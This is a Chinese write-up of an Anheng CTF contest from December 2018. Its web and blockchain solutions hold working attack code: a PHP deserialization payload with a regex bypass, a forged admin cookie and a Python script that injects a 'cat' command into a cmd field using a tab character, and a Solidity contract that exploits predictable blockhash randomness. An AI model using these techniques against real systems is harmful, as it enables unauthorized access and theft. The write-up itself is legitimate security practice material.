经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
安恒X计划12月月赛
来源:cnblogs  作者:B1u3Buf4  时间:2018/12/24 10:30:28  对本文有异议

ezweb

主要是序列化问题。没有PHP环境,在线运行的。实例化对象之后修改一下file。然后echo输出序列化的结果。不过下面有一个正则检查。数字前加一个+,影响了正则的匹配,但是对于序列化的还原没有影响。直接写+不生效,于是对+进行URL编码,就绕过了。

  1. <?php
  2. class baby
  3. {
  4. public $file;
  5. function __toString()
  6. {
  7. if(isset($this->file))
  8. {
  9. $filename = "./{$this->file}";
  10. if (file_get_contents($filename))
  11. {
  12. return file_get_contents($filename);
  13. }
  14. }
  15. }
  16. }
  17. $flag = new baby();
  18. $flag->file = "index.php";
  19. $flag = serialize($flag);
  20. echo $flag;
  21. echo unserialize($flag)
  22. ?>

拿到一个'O:4:"baby":1:{s:4:"file";s:9:"index.php";}'。在加入+号处理一下,直接不生效,需要URL编码'O:%2b4:"baby":1:{s:4:"file";s:9:"index.php";}'。

然后不小心爆出来了代码运行网站的目录。

ezweb2

浏览了一会,不知道网站哪有问题,最后看到cookie里有一个user变量。此处必有蹊跷。拉出来用base64解了一下,看到一个普通的用户的字符串。然后扫到一个admin.php,提示我不是管理员。两者就对上了,改cookie重新刷新user=YWRtaW4=%3D%3D。看到了后台,输入一个密码试试吧。结果发现post出去的表单,输入的内容在cmd字段下。然后判定这不是一个密码,而是一个命令执行。然后用ls证实了想法。然后使用cat查看文件内容的时候出错。当时有两个想法,一个是空格还有一些字符被过滤了,另一个是回显或者命令长度有限制。先按照第一个想法来,fuzz一下什么被过滤了。测出来几个可用的字符,基本上印证了被过滤的想法。使用0x9h替代空格,然后就可以顺利执行命令。
最后的flag在根目录下。

  1. import requests
  2. #fuzz时使用这个循环,注释下一循环。
  3. #for i in range(1,128):
  4. for i in range(9,10):
  5. url = "http://101.71.29.5:10000/admin.php"
  6. payload = {'cmd':'cat' + chr(i) + '/ffLAG_404'}
  7. headers = {
  8. 'origin': "http://101.71.29.5:10000",
  9. 'upgrade-insecure-requests': "1",
  10. 'content-type': "application/x-www-form-urlencoded",
  11. 'user-agent': "Mozilla/7.0 (Windows NT 11; Win64; x64) AppleWebKit/539.36 (KHTML, like Gecko) Chrome/76.0.3538.67 Safari/539.36",
  12. 'accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
  13. 'referer': "http://101.71.29.5:10000/admin.php",
  14. 'accept-encoding': "gzip, deflate",
  15. 'accept-language': "zh-CN,zh;q=0.9",
  16. 'cookie': "PHPSESSID=155tke89leol6648g64rrd2p20; user=YWRtaW4=%3D%3D",
  17. 'cache-control': "no-cache"
  18. }
  19. response = requests.request("POST", url, data=payload, headers=headers)
  20. #print(i,chr(i))
  21. #print(len(response.text))
  22. print(response.text)

misc1

为做题还要涉及早期被公开的泄露数据,这是在教人学坏。拿python处理这些数据的时候换行没处理对,所以跑字典的时候出了问题,没成功解开。

安恒的运营挺有意思的,求生欲很强,为了给公众号用户保活,自己的比赛平台不用,非要在公众号上放hint。

misc2 签到

关注一个公众号,文字游戏。

misc3

压缩包破解。同级目录下有一个压缩包内含的文件,明显的明文攻击。这种题就很烦。偏偏安恒很喜欢出。之前参加他们的比赛,给的一个压缩包,只有7z没毛病,其他都解不出来。这次这个需要winrar压缩,如果你的明文攻击大于10分钟,那么就停下来,重新制作压缩包或者换不同的版本。很烦。因为压缩本来就是有损的,所以究竟会不会出问题,真的不好判断。最后解出来的文档有一个高考秘籍——53,要位移一下这个图。

我觉得下次可以出一个这样的脑洞,放一个3D的模型,移开没有,在遮挡物的背面贴着或者穿模进去才能看到。

misc4

png图片先改像素看一下再去看有没有隐写。高度拉长一看就有字符串,末尾大于两个等号,应该是base32,解出来再拿括号里的内容再做一个MD5散列。



区块链

都说了是赌币,协议也给了。有点坑的是,直接批量不产生效果,手动了20次才收到邮件。

  1. pragma solidity ^0.4.23;
  2. interface BetInterFace{
  3. function flip(bool _guess) public returns (bool success);
  4. }
  5. contract GetFlag{
  6. address betAddress = 0x2F99655A6dDfd3e13561Acf2c1c724385BB6A80E;
  7. uint256 lastHash;
  8. uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  9. constructor() public {
  10. }
  11. function start2() public {
  12. bool isTrue=getResult();
  13. bet2(isTrue);
  14. }
  15. function getResult() private view returns(bool){
  16. uint256 blockValue = uint256(block.blockhash(block.number-1));
  17. uint256 coinFlip = blockValue / FACTOR;
  18. bool side = coinFlip == 1 ? true : false;
  19. return side;
  20. }
  21. function bet2(bool result) private{
  22. bytes4 methodId = bytes4(keccak256("flip(bool)"));
  23. if(result){
  24. betAddress.call(methodId,uint256(1));
  25. }else{
  26. betAddress.call(methodId,uint256(0));
  27. }
  28. }
  29. }
 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号